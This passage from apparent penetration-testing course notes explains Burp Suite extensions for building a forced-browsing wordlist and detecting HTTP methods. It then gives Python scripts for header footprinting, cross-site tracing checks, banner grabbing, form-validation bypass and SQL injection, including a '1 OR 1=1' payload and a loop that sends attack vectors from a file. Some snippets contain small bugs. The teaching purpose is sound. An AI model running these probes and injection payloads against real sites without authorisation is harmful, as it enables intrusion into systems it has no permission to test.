  3614.  
  3615.  
  3616. We are interested in getting the URL from each object, so we iterate through the array and call the getUrl() method. This method returns a type of ‘java.net.URL’, which we convert to a string using str() and add it to our hostUrls list that we will use later to filter the Sitemap data. The try/except block is to deal with any encoding errors, which I handle by ignoring not adding it to the hostUrls list.
  3617.  
  3618. Now, we get the data from the Sitemap:
  3619.  
  3620. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3621. def createWordlist(self):
  3622. ...
  3623. continue
  3624.  
  3625. urllist = []
  3626. siteMapData = self.callbacks.getSiteMap(None)
  3627. for entry in siteMapData:
  3628. requestInfo = self.helpers.analyzeRequest(entry)
  3629. url = requestInfo.getUrl()
  3630. try:
  3631. decodedUrl = self.helpers.urlDecode(str(url))
  3632. except Exception as e:
  3633. continue
  3634.  
  3635. if self.fromScope and self.callbacks.isInScope(url):
  3636. urllist.append(decodedUrl)
  3637. else:
  3638. for url in hostUrls:
  3639. if decodedUrl.startswith(str(url)):
  3640. urllist.append(decodedUrl)
  3641.  
  3642. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3643.  
  3644. We initialize a new list (urllist) to hold the URLs from each site, then call getSiteMap(None), which will return all of the Sitemap entries. For each entry, we use the analyzeRequest() method to get the URL, and then URL decode each entry.
  3645.  
  3646. It is at this point that we get to our filtering. If self.fromScope is true, the isInScope() method is called on the URL. If that returns true, then the URL-decoded URL is appended to our urllist. If self.fromScope is False (meaning the user chose “Generate forced browsing wordlist from selected items”), the URL from the Sitemap is checked against the URLs that the user had selected in the context menu. If the decoded URL starts with the user-selected URL, then it is appended to the urllist.
  3647.  
  3648. Now, the urllist variable contains a list of URLs, complete with the querystring. Since we don’t need the querystring, and only want the last part of the path, we need to split up the URL and take only the part we want:
  3649.  
  3650. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3651. def createWordlist(self):
  3652. ...
  3653. urllist.append(decodedUrl)
  3654.  
  3655. filenamelist = []
  3656. for entry in urllist:
  3657. filenamelist.append(entry.split('/')[-1].split('?')[0])
  3658.  
  3659. for word in sorted(set(filenamelist)):
  3660. if word:
  3661. try:
  3662. print word
  3663. except UnicodeEncodeError:
  3664. continue
  3665.  
  3666. try:
  3667. FixBurpExceptions()
  3668. ...
  3669.  
  3670. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3671.  
  3672. The filenamelist is where we will store our forced browsing wordlist. We split each URL entry in urllist, first by the ‘/’. The split function() turns the string URL into a list, and the [-1] will grab the last element of that list. That last element will be the filename and any querystring, so it is split again at the ‘?’ and the first element is selected. For example:
  3673.  
  3674. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3675. >>> url = 'http://example.com/app/folder/file.php?param=value'
  3676. >>> url.split('/')
  3677. ['http:', '', 'example.com', 'app', 'folder', 'file.php?param=value']
  3678. >>> url.split('/')[-1]
  3679. 'file.php?param=value'
  3680. >>> url.split('/')[-1].split('?')
  3681. ['file.php', 'param=value']
  3682. >>> url.split('/')[-1].split('?')[0]
  3683. 'file.php'
  3684.  
  3685. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3686.  
  3687. That filename is appended into the filenamelist. Finally, we iterate through the filenamelist (after sorting and unique’ing the list) and print everything into the Extender output pane.
  3688.  
  3689. And that’s it! Save, reload, and you should now have a functional extension that makes use of the context menu and Sitemap.
  3690.  
  3691. - Full code:
  3692.  
  3693. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3694.  
  3695. __author__ = 'Jake Miller (@LaconicWolf)'
  3696. __date__ = '20190226'
  3697. __version__ = '0.01'
  3698. __description__ = """\
  3699. Burp Extension that extracts the filenames from URLs in
  3700. scope or from a selected host. Just right click on the
  3701. hosts pane in the sitemap and click 'Generate forced
  3702. browsing wordlist' for either selected items or all hosts
  3703. in scope. The output will appear in the extender tab, where
  3704. you can set configure the extension to output to the system console,
  3705. save to a file, or show in the UI.
  3706.  
  3707. Blog post explaining all the code in detail:
  3708. https://laconicwolf.com/2019/03/09/burp-extension-python-tutorial-generate-a-forced-browsing-wordlist/
  3709. """
  3710.  
  3711. from burp import IBurpExtender, IContextMenuFactory
  3712. from java.util import ArrayList
  3713. from javax.swing import JMenuItem
  3714. import threading
  3715. import sys
  3716. try:
  3717. from exceptions_fix import FixBurpExceptions
  3718. except ImportError:
  3719. pass
  3720.  
  3721. class BurpExtender(IBurpExtender, IContextMenuFactory):
  3722. def registerExtenderCallbacks(self, callbacks):
  3723.  
  3724. sys.stdout = callbacks.getStdout()
  3725. self.callbacks = callbacks
  3726. self.helpers = callbacks.getHelpers()
  3727. self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
  3728. callbacks.registerContextMenuFactory(self)
  3729.  
  3730. return
  3731.  
  3732. def createMenuItems(self, invocation):
  3733. self.context = invocation
  3734. menuList = ArrayList()
  3735. menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
  3736. actionPerformed=self.createWordlistFromSelected)
  3737. menuList.add(menuItem)
  3738. menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
  3739. actionPerformed=self.createWordlistFromScope)
  3740. menuList.add(menuItem)
  3741. return menuList
  3742.  
  3743. def createWordlistFromSelected(self, event):
  3744. self.fromScope = False
  3745. t = threading.Thread(target=self.createWordlist)
  3746. t.daemon = True
  3747. t.start()
  3748.  
  3749. def createWordlistFromScope(self, event):
  3750. self.fromScope = True
  3751. t = threading.Thread(target=self.createWordlist)
  3752. t.daemon = True
  3753. t.start()
  3754.  
  3755. def createWordlist(self):
  3756. httpTraffic = self.context.getSelectedMessages()
  3757. hostUrls = []
  3758. for traffic in httpTraffic:
  3759. try:
  3760. hostUrls.append(str(traffic.getUrl()))
  3761. except UnicodeEncodeError:
  3762. continue
  3763.  
  3764. urllist = []
  3765. siteMapData = self.callbacks.getSiteMap(None)
  3766. for entry in siteMapData:
  3767. requestInfo = self.helpers.analyzeRequest(entry)
  3768. url = requestInfo.getUrl()
  3769. try:
  3770. decodedUrl = self.helpers.urlDecode(str(url))
  3771. except Exception as e:
  3772. continue
  3773.  
  3774. if self.fromScope and self.callbacks.isInScope(url):
  3775. urllist.append(decodedUrl)
  3776. else:
  3777. for url in hostUrls:
  3778. if decodedUrl.startswith(str(url)):
  3779. urllist.append(decodedUrl)
  3780.  
  3781. filenamelist = []
  3782. for entry in urllist:
  3783. filenamelist.append(entry.split('/')[-1].split('?')[0])
  3784.  
  3785. for word in sorted(set(filenamelist)):
  3786. if word:
  3787. try:
  3788. print word
  3789. except UnicodeEncodeError:
  3790. continue
  3791. try:
  3792. FixBurpExceptions()
  3793. except:
  3794. pass
  3795.  
  3796. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3797.  
  3798.  
  3799. #########################
  3800. # BurpVERBalyzer Plugin #
  3801. #########################
  3802.  
  3803. https://raw.githubusercontent.com/doyler/SecurityTools/master/BurpVERBalyzer/VERBalyzer.py
  3804.  
  3805. - Full code:
  3806.  
  3807. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3808.  
  3809. # VERBalyzer - Burp Plugin to detect HTTP Methods supported by the server
  3810. # Author: Ray Doyle (@doylersec) <https://www.doyler.net>
  3811. # Copyright 2017
  3812. #
  3813. # Licensed under the Apache License, Version 2.0 (the "License");
  3814. # you may not use this file except in compliance with the License.
  3815. # You may obtain a copy of the License at
  3816. #
  3817. # http://www.apache.org/licenses/LICENSE-2.0
  3818. #
  3819. # Unless required by applicable law or agreed to in writing, software
  3820. # distributed under the License is distributed on an "AS IS" BASIS,
  3821. # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  3822. # See the License for the specific language governing permissions and
  3823. # limitations under the License.
  3824.  
  3825. try:
  3826. from burp import IBurpExtender
  3827. from burp import IScannerCheck
  3828. from burp import IScanIssue
  3829. from burp import IScannerInsertionPointProvider
  3830. from burp import IScannerInsertionPoint
  3831. from burp import IParameter
  3832. from array import array
  3833. from org.python.core.util import StringUtil
  3834. import string
  3835. except ImportError:
  3836. print "Failed to load dependencies."
  3837.  
  3838. VERSION = "1.0"
  3839. callbacks = None
  3840. helpers = None
  3841.  
  3842. methods = [
  3843. 'OPTIONS',
  3844. #'GET',
  3845. #'HEAD',
  3846. #'POST',
  3847. 'PUT',
  3848. #'DELETE',
  3849. 'TRACE',
  3850. 'CONNECT'
  3851. 'PROPFIND',
  3852. 'PROPPATCH',
  3853. 'MKCOL',
  3854. 'COPY',
  3855. 'MOVE',
  3856. 'LOCK',
  3857. 'UNLOCK',
  3858. 'VERSION-CONTROL',
  3859. 'REPORT',
  3860. 'CHECKOUT',
  3861. 'CHECKIN',
  3862. 'UNCHECKOUT',
  3863. 'MKWORKSPACE',
  3864. 'UPDATE',
  3865. 'LABEL',
  3866. 'MERGE',
  3867. 'BASELINE-CONTROL',
  3868. 'MKACTIVITY',
  3869. 'ORDERPATCH',
  3870. 'ACL',
  3871. 'SEARCH',
  3872. 'PATCH',
  3873. 'FOO'
  3874. ]
  3875.  
  3876. class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IScannerCheck):
  3877. def registerExtenderCallbacks(self, callbacks):
  3878. self._callbacks = callbacks
  3879. self._helpers = callbacks.getHelpers()
  3880.  
  3881. callbacks.setExtensionName("VERBalyzer")
  3882.  
  3883. callbacks.registerScannerInsertionPointProvider(self)
  3884. callbacks.registerScannerCheck(self)
  3885.  
  3886. print "Successfully loaded VERBalyzer v" + VERSION
  3887. return
  3888.  
  3889. # helper method to search a response for occurrences of a literal match string
  3890. # and return a list of start/end offsets
  3891. def _get_matches(self, response, match):
  3892. matches = []
  3893. start = 0
  3894. reslen = len(response)
  3895. matchlen = len(match)
  3896. while start < reslen:
  3897. start = self._helpers.indexOf(response, match, True, start, reslen)
  3898. if start == -1:
  3899. break
  3900. matches.append(array('i', [start, start + matchlen]))
  3901. start += matchlen
  3902.  
  3903. return matches
  3904.  
  3905. #
  3906. # implement IScannerInsertionPointProvider
  3907. #
  3908. def getInsertionPoints(self, baseRequestResponse):
  3909. requestLine = self._helpers.analyzeRequest(baseRequestResponse.getRequest()).getHeaders()[0]
  3910.  
  3911. if (requestLine is None):
  3912. return None
  3913.  
  3914. else:
  3915. # if the parameter is present, add a single custom insertion point for it
  3916. return [ InsertionPoint(self._helpers, baseRequestResponse.getRequest(), requestLine) ]
  3917.  
  3918. def doActiveScan(self, baseRequestResponse, insertionPoint):
  3919. if 'HTTP Method' != insertionPoint.getInsertionPointName():
  3920. return []
  3921.  
  3922. issues = []
  3923.  
  3924. for method in methods:
  3925. checkRequest = insertionPoint.buildRequest(method)
  3926. checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest)
  3927.  
  3928. matches = self._get_matches(checkRequestResponse.getResponse(), "HTTP/1.1 200 OK")
  3929.  
  3930. if len(matches) > 0:
  3931. # get the offsets of the payload within the request, for in-UI highlighting
  3932. requestHighlights = [insertionPoint.getPayloadOffsets(method)]
  3933.  
  3934. issues.append(CustomScanIssue(
  3935. baseRequestResponse.getHttpService(),
  3936. self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
  3937. [self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)],
  3938. "Non-standard HTTP Method Found",
  3939. "The following method was found to be supported by the server: " + method,
  3940. "Medium"))
  3941.  
  3942. return issues
  3943.  
  3944. def doPassiveScan(self, basePair):
  3945. return []
  3946.  
  3947. def consolidateDuplicateIssues(self, existingIssue, newIssue):
  3948. # This method is called when multiple issues are reported for the same URL
  3949. # path by the same extension-provided check. The value we return from this
  3950. # method determines how/whether Burp consolidates the multiple issues
  3951. # to prevent duplication
  3952. #
  3953. # Since the issue name is sufficient to identify our issues as different,
  3954. # if both issues have the same name, only report the existing issue
  3955. # otherwise report both issues
  3956. if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
  3957. return -1
  3958. return 0
  3959.  
  3960. #
  3961. # class implementing IScannerInsertionPoint
  3962. #
  3963.  
  3964. class InsertionPoint(IScannerInsertionPoint):
  3965.  
  3966. def __init__(self, helpers, baseRequest, requestLine):
  3967. self._helpers = helpers
  3968. self._baseRequest = baseRequest
  3969.  
  3970. # parse the location of the input string within the decoded data
  3971. start = 0
  3972. self._insertionPointPrefix = requestLine[:start]
  3973. end = string.find(requestLine, " /", start)
  3974. if (end == -1):
  3975. end = requestLine.length()
  3976. self._baseValue = requestLine[start:end]
  3977. self._insertionPointSuffix = requestLine[end:]
  3978. return
  3979.  
  3980. #
  3981. # implement IScannerInsertionPoint
  3982. #
  3983. def getInsertionPointName(self):
  3984. return "HTTP Method"
  3985.  
  3986. def getBaseValue(self):
  3987. return self._baseValue
  3988.  
  3989. def buildRequest(self, payload):
  3990. # Gross workaround via Dafydd - https://support.portswigger.net/customer/portal/questions/12431820-design-of-active-scanner-plugin-vs-insertionpoints
  3991. if payload.tostring() not in methods:
  3992. raise Exception('Just stopping Burp from using our custom insertion point')
  3993. else:
  3994. requestStr = self._baseRequest.tostring()
  3995.  
  3996. newRequest = requestStr.replace(self._baseValue, payload)
  3997. newRequestB = StringUtil.toBytes(newRequest)
  3998.  
  3999. # update the request with the new parameter value
  4000. return newRequestB
  4001.  
  4002. def getPayloadOffsets(self, payload):
  4003. return [0, len(payload.tostring())]
  4004.  
  4005. def getInsertionPointType(self):
  4006. return INS_EXTENSION_PROVIDED
  4007.  
  4008. #
  4009. # class implementing IScanIssue to hold our custom scan issue details
  4010. #
  4011. class CustomScanIssue (IScanIssue):
  4012. def __init__(self, httpService, url, httpMessages, name, detail, severity):
  4013. self._httpService = httpService
  4014. self._url = url
  4015. self._httpMessages = httpMessages
  4016. self._name = name
  4017. self._detail = detail
  4018. self._severity = severity
  4019.  
  4020. def getUrl(self):
  4021. return self._url
  4022.  
  4023. def getIssueName(self):
  4024. return self._name
  4025.  
  4026. def getIssueType(self):
  4027. return 0
  4028.  
  4029. def getSeverity(self):
  4030. return self._severity
  4031.  
  4032. def getConfidence(self):
  4033. return "Certain"
  4034.  
  4035. def getIssueBackground(self):
  4036. pass
  4037.  
  4038. def getRemediationBackground(self):
  4039. pass
  4040.  
  4041. def getIssueDetail(self):
  4042. return self._detail
  4043.  
  4044. def getRemediationDetail(self):
  4045. pass
  4046.  
  4047. def getHttpMessages(self):
  4048. return self._httpMessages
  4049.  
  4050. def getHttpService(self):
  4051. return self._httpService
  4052.  
  4053.  
  4054.  
  4055.  
  4056.  
  4057.  
  4058. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4059.  
  4060. ################################################
  4061. # Python Penetration Testing—Application Layer #
  4062. ################################################
  4063.  
  4064. ########################################
  4065. # Testing availability of HTTP methods #
  4066. ########################################
  4067.  
  4068. A very good practice for a penetration tester is to start by listing the various available HTTP methods.
  4069. Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
  4070.  
  4071. To begin with, we need to import the requests library:
  4072.  
  4073. ---------------------------
  4074. import requests
  4075. ---------------------------
  4076.  
  4077. After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
  4078.  
  4079. ----------------------------------------------------------------------------
  4080. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  4081. ----------------------------------------------------------------------------
  4082.  
  4083. The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
  4084.  
  4085. ------------------------------------------------------
  4086. for method in method_list:
  4087. req = requests.request(method, 'Enter the URL’)
  4088. print (method, req.status_code, req.reason)
  4089. ------------------------------------------------------
  4090.  
  4091. The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
  4092.  
  4093. -------------------------------------------------------------
  4094. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  4095. print ('Cross Site Tracing(XST) is possible')
  4096. -------------------------------------------------------------
  4097.  
  4098.  
  4099. *** Full code with example url: ***
  4100.  
  4101. ---------------------------Type This-----------------------------------
  4102. nano xst.py
  4103.  
  4104.  
  4105. ---------------------------Paste This----------------------------------
  4106. import requests
  4107. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  4108. for method in method_list:
  4109. req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
  4110. print (method, req.status_code, req.reason)
  4111. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  4112. print ('Cross Site Tracing(XST) is possible')
  4113.  
  4114. -------------------------------------------------------------------------
  4115.  
  4116.  
  4117. After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
  4118.  
  4119.  
  4120. ---------------------------Type This-----------------------------------
  4121. python3 xst.py
  4122. -----------------------------------------------------------------------
  4123.  
  4124. ##########################################
  4125. # Foot printing by checking HTTP headers #
  4126. ##########################################
  4127.  
  4128.  
  4129. HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
  4130.  
  4131. To begin with, let us import the requests library:
  4132.  
  4133. ------------------------
  4134. import requests
  4135. ------------------------
  4136.  
  4137. We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library.
  4138.  
  4139. ---------------------------------------------
  4140. request = requests.get('enter the URL')
  4141. ---------------------------------------------
  4142.  
  4143. Next, we will generate a list of headers about which you need the information.
  4144.  
  4145. ---------------------------------------------------------------------------------------------------------------
  4146. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  4147. ---------------------------------------------------------------------------------------------------------------
  4148.  
  4149. Next is a try and except block.
  4150.  
  4151. ---------------------------------------------------
  4152. for header in header_list:
  4153.  
  4154. try:
  4155. result = request.headers[header]
  4156. print ('%s: %s' % (header, result))
  4157. except Exception as err:
  4158. print ('%s: No Details Found' % header)
  4159.  
  4160. ---------------------------------------------------
  4161.  
  4162.  
  4163.  
  4164.  
  4165. *** Example Full Code: ***
  4166.  
  4167. ---------------------------Type This-----------------------------------
  4168. nano headercheck.py
  4169.  
  4170.  
  4171. ---------------------------Paste This----------------------------------
  4172. #!/usr/bin/env python3
  4173. import requests
  4174. request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
  4175. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  4176. for header in header_list:
  4177. try:
  4178. result = request.headers[header]
  4179. print ('%s: %s' % (header, result))
  4180. except Exception as err:
  4181. print ('%s: No Details Found' % header)
  4182. ----------------------------------------------------------------------------------------------------------------
  4183.  
  4184.  
  4185. After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’.
  4186.  
  4187.  
  4188. ---------------------------Type This-----------------------------------
  4189. python3 headercheck.py
  4190. -----------------------------------------------------------------------
  4191.  
  4192.  
  4193. ##############################################
  4194. # Testing insecure web server configurations #
  4195. ##############################################
  4196.  
  4197. We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
  4198. ---------------------------Type This-----------------------------------
  4199. nano websites.txt
  4200.  
  4201. ---------------------------Paste This----------------------------------
  4202. https://www.google.com
  4203. https://www.cnn.com
  4204. https://foxnews.com
  4205. -----------------------------------------------------------------------
  4206.  
  4207.  
  4208.  
  4209.  
  4210. ---------------------------Type This-----------------------------------
  4211. nano insecure_config_check.py
  4212.  
  4213.  
  4214. ---------------------------Paste This----------------------------------
  4215. #!/usr/bin/eve python3
  4216. import requests
  4217. urls = open("websites.txt", "r")
  4218. for url in urls:
  4219. url = url.strip()
  4220. req = requests.get(url)
  4221. print (url, 'report:')
  4222. try:
  4223. protection_xss = req.headers['X-XSS-Protection']
  4224. if protection_xss != '1; mode=block':
  4225. print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
  4226. except:
  4227. print ('X-XSS-Protection not set, it may be possible')
  4228. try:
  4229. options_content_type = req.headers['X-Content-Type-Options']
  4230. if options_content_type != 'nosniff':
  4231. print ('X-Content-Type-Options not set properly:', options_content_type)
  4232. except:
  4233. print ('X-Content-Type-Options not set')
  4234. try:
  4235. transport_security = req.headers['Strict-Transport-Security']
  4236. except:
  4237. print ('HSTS header not set properly, Man in the middle attacks is possible')
  4238. try:
  4239. content_security = req.headers['Content-Security-Policy']
  4240. print ('Content-Security-Policy set:', content_security)
  4241. except:
  4242. print ('Content-Security-Policy missing')
  4243.  
  4244. -----------------------------------------------------------------------
  4245.  
  4246.  
  4247. ---------------------------Type This-----------------------------------
  4248. python3 insecure_config_check.py
  4249. -----------------------------------------------------------------------
  4250.  
  4251.  
  4252. #####################################
  4253. # Footprinting of a Web Application #
  4254. #####################################
  4255.  
  4256. Methods for Footprinting of a Web Application
  4257.  
  4258.  
  4259. Gathering information using parser BeautifulSoup
  4260.  
  4261.  
  4262. Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
  4263.  
  4264. To begin with, let us import the necessary packages. We will import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
  4265.  
  4266. --------------------------------------
  4267. apt-get install python3-bs4 <-- This is already installed. You don't have to do this step
  4268. --------------------------------------
  4269.  
  4270. ---------------------------Type This-----------------------------------
  4271. $ python3
  4272. import urllib
  4273. from bs4 import BeautifulSoup
  4274. -----------------------------------------------------------------------
  4275.  
  4276. The Python script given below will gather the title of web page andhyperlinks:
  4277.  
  4278. Now, we need a variable, which can store the URL of the website. Here, we will use avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
  4279.  
  4280.  
  4281. ---------------------------Type This-----------------------------------
  4282. from urllib.request import urlopen
  4283.  
  4284. url = 'http://www.python.org'
  4285. file = urlopen(url)
  4286. html_page = file.read()
  4287. -----------------------------------------------------------------------
  4288.  
  4289. The html_page will be assigned as an input to create soup object.
  4290.  
  4291. ---------------------------Type This-----------------------------------
  4292. soup_object = BeautifulSoup(html_page)
  4293. -----------------------------------------------------------------------
  4294.  
  4295. Following two lines will print the title name with tags and without tags respectively.
  4296.  
  4297. ---------------------------Type This-----------------------------------
  4298. print(soup_object.title)
  4299. print(soup_object.title.text)
  4300. -----------------------------------------------------------------------
  4301.  
  4302. The line of code shown below will save all the hyperlinks.
  4303.  
  4304. ---------------------------Type This-----------------------------------
  4305. for link in soup_object.find_all('a'):
  4306. print(link.get('href'))
  4307. -----------------------------------------------------------------------
  4308.  
  4309.  
  4310.  
  4311.  
  4312. *** Full example code: ***
  4313.  
  4314. ---------------------------Type This-----------------------------------
  4315.  
  4316. import urllib
  4317.  
  4318. from bs4 import BeautifulSoup
  4319.  
  4320. from urllib.request import urlopen
  4321.  
  4322. url = 'http://www.python.org'
  4323. file = urlopen(url)
  4324. html_page = file.read()
  4325. print(html_page)
  4326.  
  4327. soup_object= BeautifulSoup(html_page)
  4328.  
  4329.  
  4330. print(soup_object.title)
  4331. print(soup_object.title.text)
  4332.  
  4333.  
  4334. for link in soup_object.find_all('a'):
  4335. print(link.get('href'))
  4336.  
  4337. -----------------------------------------------------------------------
  4338.  
  4339.  
  4340. ###################
  4341. # Banner grabbing #
  4342. ###################
  4343.  
  4344.  
  4345. The following Python script helps grab the banner using socket programming:
  4346.  
  4347. ------------------------------------------------------------------------------
  4348. import socket
  4349.  
  4350. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
  4351.  
  4352. host = input("Enter the host name: ")
  4353. port = int(input("Enter Port: "))
  4354.  
  4355.  
  4356. # host = '192.168.1.54'
  4357. # port = 22
  4358.  
  4359. s.connect((host, port))
  4360.  
  4361. try:
  4362. s.send(b'GET HTTP/1.1 \r\n')
  4363. ret = s.recv(1024)
  4364. print('[+]{}'.format(ret))
  4365. except Exception as e:
  4366. print('[-] Not information grabbed: {}'.format(e))
  4367. -------------------------------------------------------------------------------
  4368.  
  4369. After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
  4370.  
  4371.  
  4372. ###################################################
  4373. # Server-side Validation & Client-side Validation #
  4374. ###################################################
  4375.  
  4376.  
  4377. #######################################
  4378. # Python Module for Validation Bypass #
  4379. #######################################
  4380.  
  4381.  
  4382. The Python module that we are going to useis mechanize. Itis a Python web browser, whichis providing the facility of obtaining web forms in a web page and facilitates the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
  4383.  
  4384. ---------------------------------
  4385. pip3 install mechanize <-- This is already installed. You don't have to do this step
  4386. ---------------------------------
  4387.  
  4388.  
  4389.  
  4390. Following is a Python script, which uses mechanize to bypass the validation of a web form using POST method to pass the parameter. The web form can be taken from the link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
  4391.  
  4392. To begin with, let us import the mechanize browser:
  4393.  
  4394.  
  4395. ----------------------
  4396. import mechanize
  4397. ----------------------
  4398.  
  4399. Now, we will create an object named brwsr of the mechanize browser:
  4400.  
  4401. -----------------------------
  4402. brwsr = mechanize.Browser()
  4403. -----------------------------
  4404.  
  4405. The next line of code shows that the user agent is not a robot
  4406.  
  4407. --------------------------------
  4408. brwsr.set_handle_robots( False )
  4409. --------------------------------
  4410.  
  4411. Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
  4412.  
  4413. -----------------------------
  4414. url = input("Enter URL ")
  4415. -----------------------------
  4416.  
  4417. Now, following lines will set some parenters to true.
  4418.  
  4419. -----------------------------------
  4420. brwsr.set_handle_equiv(True)
  4421. brwsr.set_handle_gzip(True)
  4422. brwsr.set_handle_redirect(True)
  4423. brwsr.set_handle_referer(True)
  4424. ----------------------------------
  4425.  
  4426.  
  4427. Next it will open the web page and print the web form on that page.
  4428.  
  4429. -----------------------------
  4430. brwsr.open(url)
  4431. for form in brwsr.forms():
  4432. print(form)
  4433. -----------------------------
  4434.  
  4435. Next line of codes will bypass the validations on the given fields.
  4436.  
  4437. ------------------------------------
  4438. brwsr.select_form(nr=0)
  4439. brwsr.form['name'] = ''
  4440. brwsr.form['gender'] = ''
  4441. brwsr.submit()
  4442. ------------------------------------
  4443.  
  4444. The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
  4445.  
  4446.  
  4447. ################################################
  4448. # Python Penetration Testing — SQLi Web Attack #
  4449. ################################################
  4450.  
  4451.  
  4452.  
  4453. The attack can be categorize into the following two types:
  4454.  
  4455. - In-band SQL injection (Simple SQLi)
  4456. - Inferential SQL injection (Blind SQLi)
  4457.  
  4458.  
  4459. All types of SQLi can be implemented by manipulating input data to the application. In the following examples, we are writing a Python script to inject attack vectors to the application and analyze the output to verify the possibility of the attack. Here, we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
  4460.  
  4461.  
  4462. The following Python script helps submit forms and analyze the response using mechanize:
  4463.  
  4464.  
  4465. First of all we need to import the mechanize module.
  4466.  
  4467. -----------------------
  4468. import mechanize
  4469. -----------------------
  4470.  
  4471. Now, provide the name of the URL for obtaining the response after submitting the form.
  4472.  
  4473. -------------------------------------
  4474. url = input("Enter the full url")
  4475. -------------------------------------
  4476.  
  4477. The following line of codes will open the url.
  4478.  
  4479. -----------------------------------
  4480. request = mechanize.Browser()
  4481. request.open(url)
  4482. -----------------------------------
  4483.  
  4484. Now, we need to select the form.
  4485.  
  4486. ---------------------------------
  4487. request.select_form(nr=0)
  4488. ---------------------------------
  4489.  
  4490. Here,we will setthe column name ‘id’.
  4491.  
  4492. ---------------------------------
  4493. request["id"] = "1 OR 1=1"
  4494. ---------------------------------
  4495.  
  4496. Now, we need to submit the form
  4497.  
  4498. ---------------------------------
  4499. response = request.submit()
  4500. content = response.read()
  4501. print(content)
  4502. --------------------------------
  4503.  
  4504. The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
  4505.  
  4506. To begin with, let us import the mechanize module.
  4507.  
  4508. ---------------------------
  4509. import mechanize
  4510. ---------------------------
  4511.  
  4512. Now, provide the name of the URL for obtaining the response after submitting the form.
  4513.  
  4514. ---------------------------------
  4515. url = input("Enter the full url")
  4516. attack_no = 1
  4517. ---------------------------------
  4518.  
  4519.  
  4520. We need to read the attack vectors from the file
  4521.  
  4522. -------------------------------------
  4523. with open ('vectors.txt') as v:
  4524. -------------------------------------
  4525.  
  4526. Now we will send request with each arrack vector
  4527.  
  4528. -------------------------------
  4529. for line in v:
  4530. browser.open(url)
  4531. browser.select_form(nr=0)
  4532. browser["id"] = line
  4533. res = browser.submit()
  4534. content = res.read()
  4535. ------------------------------
  4536.  
  4537.  
  4538. Now, the following line of code will write the response to the output file.
  4539.  
  4540. -----------------------------------------------------
  4541. output = open('response/'+str(attack_no)+'.txt','w')
  4542. output.write(content)
  4543. output.close()
  4544. print attack_no
  4545. attack_no += 1
  4546. -----------------------------------------------------
  4547.  
  4548.  
